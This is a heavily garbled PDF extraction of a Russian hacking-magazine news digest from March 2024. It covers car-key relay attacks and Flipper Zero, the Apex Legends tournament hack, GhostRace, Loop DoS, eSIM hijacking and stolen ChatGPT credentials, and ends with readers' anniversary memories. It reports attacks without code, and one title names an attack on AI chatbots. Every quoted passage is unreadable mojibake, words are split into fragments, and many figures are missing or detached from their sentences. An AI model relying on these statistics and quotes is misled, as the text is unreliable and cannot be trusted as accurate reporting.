сво ему сооб щни ку, сто яще му воз ле авто моби ля. В ито ге авто мобиль откры- 
вает ся, буд то нас тоящий ключ дей стви тель но находит ся в зоне дос тупа.

Под черки вает ся, что такие репите ры осна щают ся нес коль кими ради омо дуля- 
ми и обла дают мощ ностью в нес коль ко ватт. Тог да как Flipper Zero исполь зует
все го один ради омо дуль с час тотой до 1 ГГц и име ет огра ниче ние в 10 мВт,
то есть он поп росту недос таточ но мощ ный для подоб ных атак и уго на авто.

«
»

«×òî áû ïåðåäà âàòü ñèã íàëû áðå ëîêîâ ñêâîçü ñòå íû, óãîí ùèêàì íóæ íû
îãðîìíûå àíòåííû è ìîù íûå ðåò ðàí ñëÿ òîðû. Âñå çàäîêó ìåí òèðîâàí- 
íûå íà âèäåî ñëó ÷àè óãî íà àâòî ìîáè ëåé íàã ëÿäíî ïîêàçû âàþò, ÷òî
îáî ðóäî âàíèå äëÿ êðà æè çàíèìà åò ìíî ãî ìåñ òà â ðþê çàêàõ ïðåñ òóïíè- 
êîâ», — îáú ÿñíÿ þò â êîì ïàíèè.

Раз работ чики под черки вают, что влас ти совер шают ошиб ку, фокуси руясь
на тех ничес ких средс твах, а не на реаль ной проб леме, которая зак люча ется
в широком рас простра нении уста рев ших и уяз вимых сис тем кон тро ля дос- 
тупа, исполь зуемых в авто.

По их сло вам, прин цип «безопас ность через неяс ность» (security through
obscurity) не работа ет, явля ясь в кор не оши боч ной стра теги ей. Так, зап рет
на инс тру мен ты, исполь зуемые иссле дова теля ми для выяв ления проб лем
в сис темах безопас ности, лишь усу губит проб лему, оста вив устрой ства уяз- 
вимыми.

Го воря о небезо пас ных и уста рев ших сис темах кон тро ля дос тупа, соз- 
датели Flipper объ ясня ют, что в сов ремен ных авто моби лях исполь зует ся
сколь зящий код, ког да каж дое нажатие кноп ки бре лока генери рует раз ный
зашиф рован ный ради осиг нал. Это помога ет пре дот вра тить базовые ата ки,
для которых нужен толь ко ради омо дуль за пару дол ларов.

В свою оче редь, ста тичес кий код — это фик сирован ный набор цифр,
который исполь зовали ста рые сис темы кон тро ля дос тупа. Такой сиг нал дос- 
таточ но перех ватить один раз, и затем мож но бес конеч но вос про изво дить
его для получе ния дос тупа. И хотя авто моби ли, исполь зующие ста тичес кие
коды, были сня ты с про изводс тва при мер но двад цать лет назад, мно гие
из них до сих пор на ходу.

«

»

«Îñíîâíàÿ óÿç âèìîñòü òàêèõ àâòî ìîáè ëåé çàê ëþ÷à åòñÿ â òîì, ÷òî èõ
ðàäè îñèã íàëû ìîæ íî ëåã êî ïåðåõ âàòèòü è âîñ ïðî èçâåñòè áåç ñëîæ íûõ
èíñ òðó ìåí òîâ. Ïî ñóòè, ñòà òè÷åñ êèå êîäû íàñ òîëü êî íåáåçî ïàñ íû, ÷òî
èõ ìîæ íî „õàê íóòü“ äàæå ñ ïîìîùüþ êóñ êà ïðî âîäà, ïîä êëþ ÷åí íîãî
ê âõî äó äëÿ ìèê ðîôîíà, — ïèøóò ñïå öèàëèñ òû. — Ýòîò ïðè ìåð
äåìîíñ òðè ðóåò àáñóð äíîñòü âñåõ ïîïûòîê çàï ðåòèòü òàêèå óñòðîé ñòâà,
êàê Flipper Zero. Äëÿ çàùèòû îò ïåðåõ âàòà ðàäè îñèã íàëîâ ïðèø- 
ëîñü áû çàï ðåòèòü âñþ ýëåê òðî íèêó, â òîì ÷èñ ëå è íàóø íèêè, à ýòî
íåðå àëü íî».

В  РАЗ МЕНЬШЕ СЕРЫХ SIM-КАРТ18

Обо рот серых SIM-карт в РФ сни зил ся в  раз по ито гам 2023 года, сог ласно дан ным Рос- 
комнад зора. За год влас ти изъ яли око ло  таких SIM, тог да как в 2022 году их было

. Сни жение нелегаль ных про даж экспер ты объ ясня ют ужес точени ем законо датель ства.

18
4000

74 000

Из  изъ ятых SIM-карт более  при над лежали «Билай ну», свы ше  — «МегаФо ну»,
более  — МТС, более  — Tele2 и еще более  — дру гим опе рато рам свя зи.

4000 800 1200
800 1000 90

На иболь шее количес тво серых SIM-карт изъ яли в Санкт-Петер бурге (  шту ки), ХМАО ( )
и Крас нояр ском крае ( ).

763 715
642

АТАКА НА ТУРНИР
APEX LEGENDS
Ком пания Electronic Arts была вынуж дена отло жить финалы тур нира Apex
Legends Global Series (ALGS) в Север ной Аме рике, пос ле того как хакеры
взло мали про фес сиональ ных игро ков пря мо в ходе тур нирно го мат ча. Учас- 
тни кам тур нира под клю чили wallhack (воз можность видеть сквозь сте ны)
и aimbot (автопри цели вание и отсутс твие отда чи и раз бро са во вре мя стрель- 
бы).

Во вре мя мат ча меж ду коман дами DarkZero и Luminosity в игро вом кли енте
одно го из игро ков DarkZero, Genburten, вне зап но появил ся и зарабо тал
чит-инс тру мент TSM HALAL HOOK, интерфейс которо го мож но было заметить
на экра не. В резуль тате пос тра дав ший получил воз можность видеть позиции
всех осталь ных учас тни ков игры на кар те и был вынуж ден покинуть матч, а в
его коман де ста ло на одно го челове ка мень ше.

Вмес то того что бы анну лиро вать резуль таты этой игры, EA прос то объ яви- 
ла коман ду Luminosity победи телем и переш ла к сле дующе му мат чу.

Од нако хакеры про дол жили ата ку и на этот раз акти виро вали aimbot игро ку
из коман ды TSM под ником ImperialHal. ImperialHal оста вал ся на сер вере
(решив, что он прос то не будет стре лять) до тех пор, пока орга низа торы
не вме шались и не оста нови ли матч. Пос ле игра заб локиро вала его, обна- 
ружив работа ющее читер ское ПО. Его товарищ по коман де, Verhulst, тоже
получил бан.

Пред полага ется, что ата ка была осу щест вле на хакера ми под никами
Destroyer2009 и R4ndom, чьи ники мож но было заметить в окне чата
Genburten в момент взло ма.

Вско ре пос ле это го про исшес твия офи циаль ные пред ста вите ли Apex
Legends Esports объ яви ли, что северо аме рикан ские финалы будут отло жены,
пока орга низа торы не обе зопа сят сорев нования от внеш него вме шатель- 
ства.

Поз же человек, наз вавший ся Destroyer2009,  поль зовате лю X
AntiCheatPD, который собира ет информа цию о читах в виде оиг рах, что он
исполь зовал некую RCE-уяз вимость для взло ма кли ентов игро ков ALGS.
Пред полага емый зло умыш ленник не уточ нил, име лась ли в виду уяз вимость
в самом кли енте Apex Legends, во встро енном ПО Easy Anti-Cheat или в
каком-то дру гом соф те.

со общил

Те перь в сети обсужда ется мно жес тво теорий о том, как мог быть реали- 
зован взлом ALGS, сре ди которых: RCE-уяз вимость в кли енте Apex Legends,
уяз вимость в Easy Anti-Cheat и даже заранее спла ниро ван ный взлом устрой- 
ств игро ков задол го до начала мат чей.

Из-за под нявшей ся шумихи раз работ чики Easy Anti-Cheat были вынуж дены
сде лать офи циаль ное заяв ление. Они пишут, что про вели рас сле дова ние
и убеж дены в том, что в их соф те нет никаких RCE-уяз вимос тей.

Но каким бы обра зом ни про изо шел взлом, это бес пре цеден тный слу чай,
пос коль ку рань ше игро ков ни разу не взла мыва ли в пря мом эфи ре и из-за
это го не при ходи лось оста нав ливать тур ниры.

ТИМ БЕРНЕРС-ЛИ О БУДУЩЕМ ВЕБА
Сэр Тимоти Бер нерс-Ли, уче ный, соз датель веба и дей ству ющий гла ва «Кон сорци ума Все мир- 
ной паути ны», опуб ликовал , в котором заявил, что интернет может серь езно
пос тра дать из-за кон цен тра ции влас ти и утра ты «духа децен тра лиза ции». Ниже мы про цити- 
руем отры вок из его пос лания.

от кры тое пись мо

→ «Три с полови ной десяти летия назад, ког да я изоб рел веб, его тра екто рию
невоз можно было пре дуга дать. Не сущес тво вало „дорож ной кар ты“, поз воля- 
ющей пред ска зать ход его раз вития, и это была увле катель ная одис сея, пол ная
неп редви ден ных воз можнос тей и проб лем.

В осно ве всей его инфраструк туры лежало намере ние обес печить усло вия
для сот рудни чес тва, сти мули ровать сос тра дание и генери ровать твор чес тво. Он
дол жен был стать инс тру мен том, рас ширя ющим воз можнос ти челове чес тва.

Пер вое десяти летие сущес тво вания Сети оправда ло это обе щание. Одна ко
в пос леднее десяти летие вмес то того, что бы воп лощать эти цен ности, веб,
наобо рот, стал играть роль их раз рушите ля. Пос ледс твия это го ста новят ся все
более мас штаб ными. От цен тра лиза ции плат форм до револю ции в области
искусс твен ного интеллек та — веб слу жит осно вой нашей онлайн-эко сис темы,
которая сегод ня меня ет геопо лити чес кий лан дшафт, сти мули рует эко номи чес- 
кие сдви ги и вли яет на жиз ни людей по все му миру.

Пять лет назад, ког да вебу исполни лось 30 лет, я говорил о некото рых проб- 
лемах, выз ванных тем, что в вебе домини руют корыс тные инте ресы ряда кор- 
пораций, которые подор вали цен ности веба и при вели к его раз рушению и при- 
чине нию вре да. Теперь, ког да мы приб лижа емся к 35-летию веба, стре митель- 
ное раз витие ИИ усу губи ло эти проб лемы, доказав, что проб лемы веба не изо- 
лиро ваны, а ско рее глу боко переп летены с раз вива ющи мися тех нологи ями.

Пер вая из этих проб лем — это сте пень кон цен тра ции влас ти, которая про- 
тиво речит децен тра лизо ван ному духу, который я задумы вал изна чаль но.

Это при вело к сег мента ции интерне та и борь бе за то, что бы удер жать поль- 
зовате лей на одной плат форме, что бы опти мизи ровать при быль за счет пас- 
сивно го наб людения за кон тентом. Эта экс плу ата тор ская биз нес-модель осо- 
бен но опас на во вре мя выборов, которые могут при вес ти к полити чес ким пот- 
рясени ям.

Эту проб лему усу губ ляет вто рая — рынок пер сональ ных дан ных, который
экс плу ати рует вре мя и дан ные людей, соз давая углублен ные про фили, поз воля- 
ющие раз мещать целевую рек ламу и в ито ге кон тро лиро вать информа цию,
которую пот ребля ют люди.

Бу дущее зависит от нашей спо соб ности как рефор мировать сущес тву ющую
сис тему, так и соз дать новую, которая дей стви тель но будет отве чать инте ресам
челове чес тва. Для это го мы дол жны раз рушить информа цион ные барь еры, что- 
бы сти мули ровать сот рудни чес тво, сфор мировать рыноч ные усло вия, в которых
раз нооб разие вари антов будет спо собс тво вать твор чес тву, и перей ти
от поляри зации кон тента к сре де, сфор мирован ной раз нооб рази ем голосов
и точек зре ния, которая будет спо собс тво вать сопере жива нию и понима нию», —
пишет Тим Бер нерс-Ли.

Продолжение статьи →
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https://twitter.com/AntiCheatPD/status/1769554195890229714
https://webfoundation.org/2024/03/marking-the-webs-35th-birthday-an-open-letter/
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ПРОЦЕССОРАМ
УГРОЖАЕТ
GHOSTRACE
Груп па иссле дова телей раз работа ла новую side-channel-ата ку GhostRace,
поз воля ющую спро воци ровать утеч ку дан ных на сов ремен ных про цес сорах.
Проб лема зат рагива ет не толь ко про цес соры Intel, AMD, ARM и IBM, под- 
держи вающие спе куля тив ное выпол нение, но и популяр ное ПО.

Эк спер ты из IBM и Амстер дам ско го сво бод ного уни вер ситета опи сыва ют
GhostRace (CVE-2024-2193) как спе куля тив ное сос тояние гон ки (speculative
race condition, SRC). Такая ата ка поз воля ет извлечь из памяти потен циаль но
кон фиден циаль ную информа цию, нап ример пароли и клю чи шиф рования.
Одна ко для осу щест вле ния ата ки пот ребу ется физичес кий или при виле гиро- 
ван ный дос туп к целевой машине, то есть экс плу ата ция этой проб лемы
на прак тике весь ма слож ная задача.

Сос тояние гон ки воз ника ет в том слу чае, ког да нес коль ко потоков
одновре мен но пыта ются получить дос туп к обще му ресур су, что может при- 
вес ти к воз никно вению уяз вимос тей, которые мож но исполь зовать по-раз- 
ному, вклю чая выпол нение про изволь ного кода, обход средств защиты
и извле чение дан ных.

Для пре дот вра щения воз никно вения таких ситу аций сов ремен ные ОС
исполь зуют при мити вы син хро низа ции, одна ко про веден ный иссле дова теля- 
ми ана лиз показал, что сос тояние гон ки мож но сочетать со спе куля тив ным
выпол нени ем.

«

»

«Íàø ãëàâ íûé âûâîä çàê ëþ÷à åòñÿ â òîì, ÷òî âñå ðàñ ïðîñòðà íåí íûå
ïðè ìèòè âû ñèí õðî íèçà öèè, ðåàëè çîâàí íûå ñ ïîìîùüþ óñëîâíûõ
ïåðåõî äîâ, ìîæ íî ìèê ðîàð õèòåê òóðíî îáîé òè íà ñïå êóëÿ òèâ íûõ ïóòÿõ
ñ ïîìîùüþ àòà êè  (CVE-2017-5753), ïðî âîöè ðóÿ âî âñåõ
êðè òè÷åñ êèõ race-free-îáëàñòÿõ ñïå êóëÿ òèâ íîå ñîñ òîÿíèå ãîí êè (SRC),
÷òî ïîç âîëèò çëî óìûø ëåííè êàì èçâëå êàòü èíôîðìà öèþ èç öåëåâî ãî
ÏÎ», — ïîÿñ íèëè èññëå äîâà òåëè.

Spectre v1

Для того что бы про вес ти ата ку и «выиг рать» спе куля тив ную гон ку, выпол нение
про цес са-жер твы дол жно быть прер вано в нуж ный момент и удер жано, так
как зло умыш ленник дол жен выпол нить то, что иссле дова тели называ ют
SCUAF-ата кой (Speculative Concurrent Use-After-Free).

Для этой цели уче ные исполь зовали новую тех нику атак под наз вани ем
Inter-Process Interrupt (IPI) Storming, которая зак люча ется в перепол нении
про цес сорно го ядра целево го про цес са. В ито ге они про демонс три рова ли
SCUAF-ата ку на ядро Linux, при водив шую к утеч ке информа ции из памяти
ядра со ско ростью 12 Кбайт в секун ду.

Хо тя иссле дова ние было сос редото чено на архи тек турах x86 и Linux,
экспер ты заяви ли, что ата ке под верже ны про дук ты дру гих про изво дите лей,
а так же дру гое ПО, помимо Linux.

«

»

«Â öåëîì ïåðåä SRC óÿç âèìî ëþáîå ïðîã ðàì ìíîå îáåñ ïå÷åíèå, íàï- 
ðèìåð îïå ðàöè îííàÿ ñèñ òåìà, ãèïåð âèçîð è òàê äàëåå, ðåàëè çóþùåå
ïðè ìèòè âû ñèí õðî íèçà öèè ÷åðåç óñëîâíûå ïåðåõî äû áåç êàêîé�ëèáî
ñåðè àëè çóþùåé èíñ òðóê öèè è ðàáîòà þùåå íà ëþáîé ìèê ðîàð õèòåê- 
òóðå (íàï ðèìåð, x86, ARM, RISC-V è òàê äàëåå), êîòîðàÿ ïîç âîëÿ åò
ñïå êóëÿ òèâ íî âûïîë íÿòü óñëîâíûå ïåðåõî äû», — ãîâîðÿò èññëå äîâà- 
òåëè.

Ин женеров Intel, AMD, ARM и IBM уве доми ли о проб леме GhostRace еще в
кон це 2023 года, а они, в свою оче редь, уже сооб щили об уяз вимос ти про- 
изво дите лям ОС и гипер визоров.

В допол нение к сво ей статье в бло ге и тех ничес кому докумен ту иссле- 
дова тели уже опуб ликова ли  для GhostRace, скрип ты, пред- 
назна чен ные для ска ниро вания ядра Linux на наличие гад жетов SCUAF, а так- 
же спи сок уже выяв ленных проб лемных гад жетов.

PoC-экс пло ит

ФИШИНГОВЫХ САЙТОВ СТАЛО В  РАЗА БОЛЬШЕ3,6

Сог ласно дан ным CERT-FACCT (быв шая Group-IB), доля фишин говых ресур сов, рас положен ных
в домен ной зоне .ru, за про шед ший год вырос ла в  раза — с  в кон це 2022 года
до  по сос тоянию на конец 2023 года.

3,6 12,9%
46,5%

Эту тен денцию под твержда ют и в ГК «Солар», где сооб щают, что при мер но  всех заб- 
локиро ван ных ресур сов было зарегис три рова но в рунете.

50%

По дан ным про екта «Домен ный пат руль» (вхо дит в Коор динаци онный центр наци ональ ных
доменов), в 2023 году в зоне .ru было выяв лено  фишин говых доменов, что сос тавля ло

 от обще го чис ла зарегис три рован ных в ней имен. Для срав нения: в 2022 году в рунете
нас читыва лось  фишин говых доменов.

45 918
0,84%

15 336

ХАКЕРЫ УГОНЯЮТ
ESIM
Спе циалис ты FACCT обна ружи ли попыт ки кра жи мобиль ных номеров у рос- 
сий ских поль зовате лей для получе ния дос тупа к их онлайн-бан кингу. Угон
номеров про исхо дит с помощью под мены или вос ста нов ления eSIM — встро- 
енной циф ровой кар ты, выпол няющей в некото рых смар тфо нах фун кции
физичес кой SIM-кар ты.

Ис сле дова тели говорят, что с осе ни 2023 года зафик сирова ли уже более
ста попыток вхо да в лич ные кабине ты кли ентов в онлайн-сер висах толь ко
у одной финан совой орга низа ции.

Что бы получить дос туп к чужому мобиль ному номеру, зло умыш ленни ки
исполь зуют фун кцию замены или вос ста нов ления циф ровой SIM-кар ты:
перено сят телефон жер твы на собс твен ное устрой ство с eSIM.

Для перех вата номера с исполь зовани ем eSIM-про филей мошен никам
тре бует ся смар тфон, под держи вающий под клю чение про филя eSIM, ском- 
про мети рован ная учет ная запись жер твы в лич ном кабине те у опе рато ра свя- 
зи или в популяр ном государс твен ном сер висе.

От меча ется, что за рубежом ана логич ный спо соб уго на кибер прес тупни ки
исполь зуют уже не мень ше года, тог да как в Рос сии пер вые попыт ки были
зафик сирова ны осенью 2023 года.

Рань ше для уго на акка унтов зло умыш ленни ки (с помощью сооб щни ков
на сто роне опе рато ра) пытались перевы пус тить SIM-кар ту без ведома
самого або нен та, но опе рато ры и бан ки вве ли жес ткие меры про тиво дей- 
ствия это му виду мошен ничес тва.

По это му в новой схе ме для получе ния QR-кода или кода акти вации адре са
SM-DP+ (который в eSIM отве чает за генера цию и защиту про филей) зло- 
умыш ленни ки сами соз дают заяв ку на сай те или в при ложе нии опе рато ра
на перевод номера с физичес кой кар ты на eSIM. Как толь ко зло умыш ленник
завер шает этот про цесс, поль зователь уже не может исполь зовать свою SIM-
кар ту и теря ет дос туп к номеру.

«

»

«Ïîëó÷èâ äîñ òóï ê ìîáèëü íîìó òåëåôîí íîìó íîìåðó æåð òâû, êèáåð- 
ïðåñ òóïíè êè ìîãóò ïîëó÷èòü êîäû äîñ òóïà, äâóõ ôàêòîð íîé àóòåí- 
òèôèêà öèè ê ðàç ëè÷íûì ñåð âèñàì, âêëþ ÷àÿ áàí êè, ìåñ ñåí äæå ðû, ÷òî
îòêðû âàåò ïåðåä çëî óìûø ëåííè êàìè ìàñ ñó âîç ìîæíîñ òåé äëÿ ðåàëè- 
çàöèè ïðåñ òóïíûõ ñõåì. Âàðè àöèé ñõå ìû ìíî æåñ òâî, íî áîëü øå âñå ãî
ìîøåí íèêîâ èíòå ðåñó þò ñåð âèñû îíëàéí�áàí êèíãà. Ñîîá ùåíèÿ
ñ êîäîì ïîä òâåðæäå íèÿ, êîòîðûå áóäóò ïðè õîäèòü íà íîìåð, ïîç âîëÿò
ñíÿòü âñå äåíü ãè ñî ñ÷å òà æåð òâû, îôîð ìèòü êðå äèòû», — êîì ìåíòè- 
ðóåò Äìèò ðèé Äóä êîâ, ñïå öèàëèñò äåïàð òàìåí òà Fraud Protection êîì- 
ïàíèè FACCT.

Что бы защитить ся от подоб ной угро зы, спе циалис ты совету ют сле довать
прос тым рекомен даци ям:

ис поль зовать слож ные пароли (ори гиналь ный для каж дого сер виса
и устрой ства) и менять их раз в квар тал;

•

вклю чить вез де, где есть такая фун кция, двух фактор ную иден тифика цию
и никог да не сооб щать этот код кому-либо по телефо ну и не вво дить
на сто рон них ресур сах;

•

вни матель но сле дить за при ходя щими SMS о бло киров ке, перевы пус ке
или перено се SIM-кар ты.

•

 УЧЕТНЫХ ДАННЫХ ДЛЯ CHATGPT225 000

Бо лее  логов сти леров, содер жащих укра ден ные учет ные дан ные для ChatGPT, были
дос тупны в дар кне те в пери од с янва ря по октябрь 2023 года, сооб щили в Group-IB.

225 000

Учет ные дан ные в основном обна ружи вают ся в логах таких инфости леров, как ,
 и .

LummaC2
Raccoon RedLine

В пери од с июня по октябрь 2023 года было совер шено более  взло мов уни каль ных
хос тов с дос тупом к OpenAI ChatGPT, что на  боль ше, чем за пер вые пять
месяцев 2023 года.

130 000
36%

LLM (такие как ChatGPT) могут исполь зовать ся зло умыш ленни ками для раз работ ки 
, под готов ки убе дитель ных  и ,

а так же для повыше ния общей .

но вых
методов атак мо шен ничес ких фи шин говых кам паний

опе раци онной эффектив ности

БЕСКОНЕЧНЫЙ LOOP
DOS
Ис сле дова тели опи сали новый век тор application-layer-атак, осно ван ный
на про токо ле UDP и получив ший наз вание Loop DoS. Такой DoS пред став ляет
угро зу для сис тем Broadcom, Honeywell, Microsoft и MikroTik и может «зам- 
кнуть» сетевые сер висы в бес конеч ной пет ле, соз дающей боль шие объ емы
тра фика.

Ата ка была раз работа на спе циалис тами Цен тра информа цион ной
безопас ности име ни Гель мголь ца в Гер мании (CISPA) и в целом зат рагива ет
око ло 300 тысяч хос тов и свя зан ных с ними сетей.

Loop DoS осно выва ется на уяз вимос ти в импле мен тации про токо ла UPD,
который под вержен IP-спу фин гу и не обес печива ет над лежащую про вер ку
пакетов. Проб лема получи ла основной иден тифика тор CVE-2024-2169 (а так- 
же CVE-2009-3563 и CVE-2024-1309).

Зло умыш ленник, экс плу ати рующий эту уяз вимость, спо собен соз дать
самовос про изво дящу юся пет лю, генери рующую избы точ ный тра фик, который
невоз можно оста новить, что, в свою оче редь, пов лечет отказ в обслу жива нии
(DoS) целевой сис темы или даже всей сети.

Loop DoS стро ится на спу фин ге IP-адре сов и может быть запуще на с одно го
хос та, который отправ ляет лишь одно сооб щение для начала ком муника ции.
Так, по дан ным CERT/CC, сущес тву ет три воз можных сце нария исполь- 
зования этой проб лемы:
• пе рег рузка уяз вимого сер виса, в резуль тате чего тот ста новит ся нес- 

табиль ным или неп ригод ным для исполь зования;
• DoS-ата ка на магис траль ную сеть, вызыва ющая перебои в работе дру гих

сер висов;
• ата ки с ампли фика цией, ког да сетевые пет ли при водят к уси лению DoS-

или DDoS-атак.

«
»

«Åñëè äâà application-ñåð âåðà èñïîëü çóþò óÿç âèìóþ èìïëå ìåí òàöèþ
óêà çàí íîãî ïðî òîêî ëà, çëî óìûø ëåííèê ìîæåò èíè öèèðî âàòü ñâÿçü
ñ ïåð âûì ñåð âåðîì, ïîä ìåíèâ ñåòåâîé àäðåñ âòî ðîãî ñåð âåðà (æåð- 
òâû). Âî ìíî ãèõ ñëó ÷àÿõ ïåð âûé ñåð âåð îòâå òèò æåð òâå ñîîá ùåíè åì
îá îøèá êå, ÷òî òàê æå âûçîâåò àíà ëîãè÷ íîå ïîâåäå íèå è äðó ãîå ñîîá- 
ùåíèå îá îøèá êå íà ïåð âîì ñåð âåðå», — îáú ÿñíÿ þò â CERT/CC.

В ито ге про цесс будет длить ся до тех пор, пока все дос тупные ресур сы
не будут пол ностью исчерпа ны, а сер веры не перес танут вос при нимать обыч- 
ные зап росы.

Эк спер ты CISPA пре дуп режда ют, что свя зан ные с Loop DoS рис ки очень
велики и охва тыва ют и уста рев шие (QOTD, Chargen, Echo), и сов ремен ные
про токо лы (DNS, NTP, TFTP), которые игра ют важ ней шую роль в таких базовых
сетевых фун кци ях, как син хро низа ция вре мени, раз решение домен ных имен
и переда ча фай лов без аутен тифика ции.

На дан ный момент под твер дили, что их про дук ты уяз вимы перед Loop DoS,
ком пании Broadcom, Cisco, Honeywell, Microsoft и MikroTik.

Что бы избе жать свя зан ных с Loop DoS рис ков, CERT/CC рекомен дует
уста новить пос ледние пат чи от про изво дите лей, устра няющие уяз вимость,
или же заменить решения, которые уста рели и боль ше не получа ют обновле- 
ний.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ ЭТОГО МЕСЯЦА
Бес плат ные VPN из Google Play прев раща ют смар тфо ны поль зовате лей в прок си

GitHub пред ста вила ИИ-инс тру мент, который будет искать уяз вимос ти в коде

Взло ман ные WordPress-сай ты исполь зуют бра узе ры посети телей для ком про мета ции дру гих
ресур сов

Python-раз работ чики пос тра дали от слож ной ата ки на цепоч ку пос тавок

Проб лема GoFetch угро жает про цес сорам Apple серии M, а пат чи вли яют на про изво дитель- 
ность

Ата ка ArtPrompt исполь зует ASCII-арт про тив чат-ботов с ИИ

Раз работ чики KDE пре дуп редили об опас ности гло баль ных тем

GEOBOX обе щает прев ратить Raspberry Pi в ано ним ный инс тру мент для кибера так

Дар кнет-мар кет плейс Incognito шан тажиру ет собс твен ных поль зовате лей

Сот рудни ка Google обви нили в кра же ИИ-сек ретов для китай ских ком паний

https://xakep.ru/2018/01/11/meltdown-and-spectre/
https://github.com/vusec/ghostrace
https://xakep.ru/2024/03/27/proxy-apps/
https://xakep.ru/2024/03/21/code-scanning-autofix/
https://xakep.ru/2024/03/07/wordpress-bruteforce-scripts/
https://xakep.ru/2024/03/26/top-gg-hacked/
https://xakep.ru/2024/03/22/gofetch/
https://xakep.ru/2024/03/19/artprompt/
https://xakep.ru/2024/03/25/kde-global-themes/
https://xakep.ru/2024/03/27/geobox/
https://xakep.ru/2024/03/14/incognito-mass-extortion/
https://xakep.ru/2024/03/07/ai-google-secrets/
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В 2024 году «Хакеру» исполня ется 25 лет. В честь это го мы
соб рали вос помина ния читате лей о жур нале и о том, какую
роль он сыг рал в их жиз ни. Так же в честь юби лея мы объ- 
явля ем вре мен ную скид ку на под писку до 3000 руб лей.
Акция прод лится до кон ца мар та.

Под борку мы про иллюс три рова ли нашим новым мас котом — серым полоса- 
тым котом, который впер вые появил ся на обложке номера « »
и так всем полюбил ся, что фут болки «с котиком» ста биль но раз бирали
на каж дой кон ферен ции и про сили допеча тать еще и еще. Если тебе тоже
нра вит ся котик, то у нас для тебя кое-что есть:  с ним.

Опас ный IoT

сти кер пак для Telegram
А если захочешь сде лать подарок нам, то это очень лег ко: прос то 

! Даже если она у тебя уже есть, прод ление на год никог- 
да не помеша ет. Еще луч ше, если обра тишь вни мание тво ей орга низа ции
на воз можность офор мить . Получен ные день ги мы
вкла дыва ем в новые матери алы и улуч шение сай та.

офор ми
под писку на «Хакер»

под писку для сот рудни ков

Àðòåì

Од нажды, будучи под рос тком, уви дел в киос ке жур нал и купил. Жур нал
помогал скра шивать досуг сво ими исто риями из хак сце ны, забав ными отве- 
тами на воп росы читате лей, ну и новин ками железа и соф та. Вооб ще, было
инте рес но читать прак тичес ки все, что было в жур нале!

Àëåêñàíäð

Я поз накомил ся с «Хакером», ког да учил ся в шко ле, при мер но в 9-м клас се
(2007 год). Был у при яте ля в гос тях, он счи тал ся «про шарен ным» в компь- 
ютер ной темати ке, под рабаты вал почин кой компь юте ров на дому. Уви дел
у него дома жур нал, поп росил почитать. Ничего не понял, но было инте рес но.

«Хакер» под стег нул мой инте рес к IT, замоти виро вал искать отве ты
на непонят ные воп росы. Ког да я его читал, я не понимал абсо лют но ничего,
хотя знал, что в жур нале опи саны доволь но инте рес ные темы. Вчи тывал ся,
опре делял для себя нез накомые понятия, выяс нял, какое зна чение они име ют
в компь ютер ном мире, и пос тепен но начинал вни кать в суть ста тей. Этот опыт
помог уже и во вре мя работы инже нером, ког да при ходи лось поз навать суть
про цес сов и вещей, с которы ми рань ше никог да не стал кивал ся.

Бу дучи сту ден том, я иног да покупал себе «Хакер» в печат ном виде.
Однажды уви дел на при лав ке киос ка жур нал с дис ком, на котором был образ
толь ко что вышед шей Ubuntu 18.04. Я дав но хотел поп робовать Linux, и встре- 
чу с дан ным номером жур нала я пос читал руководс твом к дей ствию. Купил
жур нал, в обще житии поп робовал уста новить Ubuntu вто рой сис темой,
но слу чай но (конеч но же, из-за нез нания и спеш ки) стер абсо лют но все раз- 
делы и унич тожил всю информа цию. Повез ло, что никаких важ ных отче тов
и кур совых работ на нем не было, ина че бы исто рия была куда более тра гич- 
ная, но такой вот опыт я получил.

Elgens

На про тяже нии пяти лет был дос туп к «печат ной прос рочке» (2009–
2014 годы): покупал по дешев ке печат ную вер сию с задер жкой два-три
месяца от выпус ка, с тех пор так и читаю вас.

Я нем ножко адми ню в нес коль ких неболь ших офи сах, в кур се «дырочек»
бла года ря новос тно му раз делу.

Од нажды про сек, что все под кон троль ные мне роуте ры ASUS в одном бот- 
нете! Была статья, как сос нифать тра фик самого роуте ра, начал про бовать,
и вот выяс нилось! Хар дре сет ситу ацию не исправ лял, приш лось руч ками про- 
шивать все шесть штук, фанатизм к дан ной мар ке рез ко поутих, зато почувс- 
тво вал себя вай тха кером. По-моему, это был Gafgyt.

Àëåêñàíäð

Стал покупать бумаж ный жур нал, ког да работал в Мос кве в 1999 году. 
В 99-м был веселый жур нал, пом ню раз дел «Запад лос тро ение», были
какие-то статьи о компь ютер ных играх. Скра шивал жизнь в чужом городе.

Àíäðåé

Впер вые купил «Хакер» в киос ке печати в мет ро из-за вызыва юще го наз- 
вания. Бла года ря стать ям получал отве ты на мно гие воп росы и вызовы
на работе в ИБ. Во мно гих слу чаях те проб лемы, что были по работе,
решались через статьи в све жих выпус ках жур нала.

Ñåðãåé

В далеком 2003 году в оче ред ном спец выпус ке под наз вани ем «Оси 4 work»
была статья про 1С, в которой были сло ва «тач ка не куп лена, да и ком пу
апгрейд нужен...». Меня эта тема зацепи ла, и я решил осво ить эту сис тему,
которая, по завере нию авто ра статьи, поз волит «и тач ку купить, и ком пушник
про апгрей дить». Прош ло 20 лет, уже и квар тира куп лена, дом дос тра ивает ся,
про тач ки с ком пушни ком вооб ще мол чу. Вот так, с подачи вашего жур нала,
при шел к успе ху!

Àíòîí

Это мои ран ние учеб ники, бла года ря жур налу я увлекся ИБ.

Rubber

Я читал «Хакер» в бумаге и элек трон ные вер сии такого рода жур налов еще в
эпо ху FidoNet. Бла года ря «Хакеру» регуляр но шту дирую отче ты о сли вах пер- 
сонал ки, зна ком люсь с обзо рами уяз вимос тей и тес тов надеж ности раз ных
средств ком муника ции. Поль зовал ся рекомен даци ями «Хакера» для тес- 
тирова ния надеж ности шиф рования тра фика и защиты ЛВС. Однажды обна- 
ружил попыт ку взло ма моего ком па на работе в ЛВС круп ной ком пании
и немед ленно в ответ перезаг рузил напада ющий комп. Боль ше подоб ных
попыток не отме чал, но мес тная служ ба безопас ности неожи дан но потеп лела
ко мне. Нап ример, ког да про токо лом безопас ности пер соналу зап ретили
любое исполь зование флеш-носите лей, я про дол жал спо кой но поль зовать ся
у них на гла зах.

Äàíèÿð

В 2001 году, ког да я учил ся в инсти туте, одно кур сник как-то при нес жур нал
на пары, он мне пон равил ся, с тех пор я начал покупать в киос ках. Я начал
увле кать ся кодин гом, читать кни ги, которые рекомен довали в кон це жур нала.
На лек ции в инсти туте по пред мету «Ста тис тика» у меня как-то пор вался
